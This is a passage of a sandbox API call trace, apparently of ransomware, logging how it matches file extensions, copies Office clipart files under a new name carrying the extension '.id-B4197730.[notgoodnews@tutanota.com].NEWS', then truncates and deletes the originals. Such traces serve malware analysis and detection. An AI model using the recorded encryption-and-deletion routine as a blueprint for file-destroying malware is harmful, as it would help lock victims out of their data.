lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString=".7z") returned 3 [0174.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.881] lstrlenW (lpString=".dbf") returned 4 [0174.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.881] lstrlenW (lpString=".1cd") returned 4 [0174.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.881] lstrlenW (lpString=".jpg") returned 4 [0174.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.881] lstrlenW (lpString=".doc") returned 4 [0174.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString=".docx") returned 5 [0174.881] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.881] lstrlenW (lpString=".pdf") returned 4 [0174.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString=".xls") returned 4 [0174.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.881] lstrlenW (lpString=".xlsx") returned 5 [0174.881] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.881] lstrlenW (lpString=".ppt") returned 4 [0174.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.881] lstrlenW (lpString=".zip") returned 4 [0174.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.882] lstrlenW (lpString=".rar") returned 4 [0174.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.882] lstrlenW (lpString=".bz2") returned 4 [0174.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.882] lstrlenW (lpString=".7z") returned 3 [0174.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.882] lstrlenW (lpString=".dbf") returned 4 [0174.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.882] lstrlenW (lpString=".1cd") returned 4 [0174.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.882] lstrlenW (lpString=".jpg") returned 4 [0174.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.882] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.882] lstrlenW (lpString="J0105306.WMF") returned 12 [0174.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0174.883] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4320) returned 1 [0174.883] CloseHandle (hObject=0x550) returned 1 [0174.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0174.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0174.884] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.884] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.885] GetLastError () returned 0x0 [0174.885] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x10e0, lpOverlapped=0x0) returned 1 [0174.886] WriteFile (in: hFile=0x450, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10f0, lpOverlapped=0x0) returned 1 [0174.887] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0174.888] WriteFile (in: hFile=0x450, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0174.888] SetEndOfFile (hFile=0x450) returned 1 [0174.888] CloseHandle (hObject=0x450) returned 1 [0174.888] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.888] SetEndOfFile (hFile=0x550) returned 1 [0174.891] CloseHandle (hObject=0x550) returned 1 [0174.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0174.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.893] lstrlenW (lpString=".doc") returned 4 [0174.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.893] lstrlenW (lpString=".docx") returned 5 [0174.893] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.893] lstrlenW (lpString=".pdf") returned 4 [0174.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.893] lstrlenW (lpString=".xls") returned 4 [0174.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.893] lstrlenW (lpString=".xlsx") returned 5 [0174.893] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.893] lstrlenW (lpString=".ppt") returned 4 [0174.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.893] lstrlenW (lpString=".zip") returned 4 [0174.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.893] lstrlenW (lpString=".rar") returned 4 [0174.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.893] lstrlenW (lpString=".bz2") returned 4 [0174.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.893] lstrlenW (lpString=".7z") returned 3 [0174.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.893] lstrlenW (lpString=".dbf") returned 4 [0174.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.894] lstrlenW (lpString=".1cd") returned 4 [0174.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.894] lstrlenW (lpString=".jpg") returned 4 [0174.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.894] lstrlenW (lpString=".doc") returned 4 [0174.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString=".docx") returned 5 [0174.894] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.894] lstrlenW (lpString=".pdf") returned 4 [0174.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString=".xls") returned 4 [0174.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.894] lstrlenW (lpString=".xlsx") returned 5 [0174.894] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.894] lstrlenW (lpString=".ppt") returned 4 [0174.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.894] lstrlenW (lpString=".zip") returned 4 [0174.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.894] lstrlenW (lpString=".rar") returned 4 [0174.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString=".bz2") returned 4 [0174.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString=".7z") returned 3 [0174.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.894] lstrlenW (lpString=".dbf") returned 4 [0174.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.895] lstrlenW (lpString=".1cd") returned 4 [0174.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0174.895] lstrlenW (lpString=".jpg") returned 4 [0174.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.895] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.895] lstrlenW (lpString="J0105320.WMF") returned 12 [0174.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0174.895] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2020) returned 1 [0174.895] CloseHandle (hObject=0x550) returned 1 [0174.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0174.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0174.896] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.896] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.897] GetLastError () returned 0x0 [0174.897] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x7e4, lpOverlapped=0x0) returned 1 [0175.169] WriteFile (in: hFile=0x450, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0175.170] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0175.170] WriteFile (in: hFile=0x450, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0175.171] SetEndOfFile (hFile=0x450) returned 1 [0175.904] CloseHandle (hObject=0x450) returned 1 [0176.015] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.015] SetEndOfFile (hFile=0x550) returned 1 [0176.018] CloseHandle (hObject=0x550) returned 1 [0176.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0176.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.019] lstrlenW (lpString=".doc") returned 4 [0176.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.019] lstrlenW (lpString=".docx") returned 5 [0176.019] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.019] lstrlenW (lpString=".pdf") returned 4 [0176.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.019] lstrlenW (lpString=".xls") returned 4 [0176.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.019] lstrlenW (lpString=".xlsx") returned 5 [0176.019] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.019] lstrlenW (lpString=".ppt") returned 4 [0176.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.019] lstrlenW (lpString=".zip") returned 4 [0176.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.020] lstrlenW (lpString=".rar") returned 4 [0176.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.020] lstrlenW (lpString=".bz2") returned 4 [0176.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.020] lstrlenW (lpString=".7z") returned 3 [0176.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.020] lstrlenW (lpString=".dbf") returned 4 [0176.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.020] lstrlenW (lpString=".1cd") returned 4 [0176.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.020] lstrlenW (lpString=".jpg") returned 4 [0176.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.020] lstrlenW (lpString=".doc") returned 4 [0176.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.020] lstrlenW (lpString=".docx") returned 5 [0176.020] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.020] lstrlenW (lpString=".pdf") returned 4 [0176.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.020] lstrlenW (lpString=".xls") returned 4 [0176.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.020] lstrlenW (lpString=".xlsx") returned 5 [0176.020] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.020] lstrlenW (lpString=".ppt") returned 4 [0176.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.020] lstrlenW (lpString=".zip") returned 4 [0176.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.021] lstrlenW (lpString=".rar") returned 4 [0176.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.021] lstrlenW (lpString=".bz2") returned 4 [0176.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.021] lstrlenW (lpString=".7z") returned 3 [0176.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.021] lstrlenW (lpString=".dbf") returned 4 [0176.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.021] lstrlenW (lpString=".1cd") returned 4 [0176.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0176.021] lstrlenW (lpString=".jpg") returned 4 [0176.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.021] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.021] lstrlenW (lpString="J0105360.WMF") returned 12 [0176.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.022] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8860) returned 1 [0176.022] CloseHandle (hObject=0x550) returned 1 [0176.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0176.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.022] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.023] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.023] GetLastError () returned 0x0 [0176.023] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x229c, lpOverlapped=0x0) returned 1 [0176.085] WriteFile (in: hFile=0x514, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x22a0, lpOverlapped=0x0) returned 1 [0176.086] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.086] WriteFile (in: hFile=0x514, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.086] SetEndOfFile (hFile=0x514) returned 1 [0176.086] CloseHandle (hObject=0x514) returned 1 [0176.086] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.086] SetEndOfFile (hFile=0x550) returned 1 [0176.089] CloseHandle (hObject=0x550) returned 1 [0176.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0176.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.091] lstrlenW (lpString=".doc") returned 4 [0176.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.091] lstrlenW (lpString=".docx") returned 5 [0176.091] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.091] lstrlenW (lpString=".pdf") returned 4 [0176.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.091] lstrlenW (lpString=".xls") returned 4 [0176.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.091] lstrlenW (lpString=".xlsx") returned 5 [0176.091] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.091] lstrlenW (lpString=".ppt") returned 4 [0176.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.091] lstrlenW (lpString=".zip") returned 4 [0176.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.091] lstrlenW (lpString=".rar") returned 4 [0176.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.091] lstrlenW (lpString=".bz2") returned 4 [0176.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.091] lstrlenW (lpString=".7z") returned 3 [0176.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.091] lstrlenW (lpString=".dbf") returned 4 [0176.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.092] 